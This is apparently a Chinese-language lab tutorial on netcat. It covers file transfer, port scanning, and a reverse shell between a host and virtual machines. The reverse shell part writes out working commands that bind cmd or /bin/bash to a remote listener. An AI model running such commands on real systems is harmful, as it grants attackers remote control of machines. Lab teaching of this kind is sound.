1.文件传输
客户端传数据到服务端:
客户端和服务端可以通过netcat进行数据传输。原理、步骤如下:
在netcat文件夹中新建文件input.txt,并写入内容
在netcat-win32-1.12目录下打开两个对话框(一个作为客户端,一个作为服务端),输入如下命令:(上面为服务端,下面为客户端),nc64 -lp 5566 >output.txt表示为可以将接收到的数据自动创建文件并写入该文件中,nc64.exe 127.0.0.1 5566 <input.txt表示为将刚才写好的客户端的数据传输给服务端。(写nc64.exe或者nc.exe,这个命令看你netcat文件夹里面有哪个,就写哪个)
发送后服务端接收数据,并自动创建文件,将内容写入文件中,效果如下:
服务端传数据到客户端:
在服务端该目录下创建文件并写入要传送到客户端的数据,如图:
打开命令窗口(创建两个对话框,上面是服务端,下面是客户端),nc64.exe -lp 5566 <reinput.txt表示将服务端的数据传输给客户端,nc64.exe 127.0.0.1 5566 >reoutput.txt表示将接收到的数据写入自动创建的文件里。
运行结束后,效果如图:
2.信息探测
可以进行端口的扫描
-n:表示IP
-v:显示执行命令过程
-w:设置超时时间
-z:不进行交互,直接显示结果
可以使用命令nc -n -v -w1 -z 192.168.79.125 1-1000
后面为扫描主机的IP地址,以及端口范围
也可以使用echo " " |nc -n -v -w1 192.168.35.154 1-1000输出端口内容。
可以在kali中进行尝试,扫描其他主机的端口情况。
3.反弹Shell
正向shell可以从前面发布的《netcat简单使用》中理解,即客户端控制服务端。而反弹shell刚好相反,即服务端控制客户端。下列可以简单描述一下其简单步骤和命令:
模拟环境①:将物理机作为服务端,将windows虚拟机作为客户端(其他情况也可以)
在物理机和虚拟机都要安装netcat才能使用命令。物理机打开netcat的目录,打开命令窗口后键入nc64.exe -lvp 5566,表示开启监听端口。虚拟机打开netcat目录并打开命令窗口后键入nc64.exe -e cmd 192.168.24.1 5566,后面的地址写物理机的IP地址,表示重定向到cmd命令并且连接物理机(服务端),运行后,物理机(服务端)就可以控制虚拟机(客户端),此时服务端就可以输入命令,例如ipconfig去查询客户端的IP地址等等。
模拟环境②:将物理机作为服务端,将Linux虚拟机作为客户端(跟上面原理一样)
物理机(服务端)命令:nc64.exe -lvp 5566 意为开启监听端口
虚拟机(客户端)命令:nc64.exe -e /bin/bash 192.168.24.1 5566 表示重定向到bash命令并连接主机地址,后面的地址写物理机地址,从而实现服务端控制客户端的效果。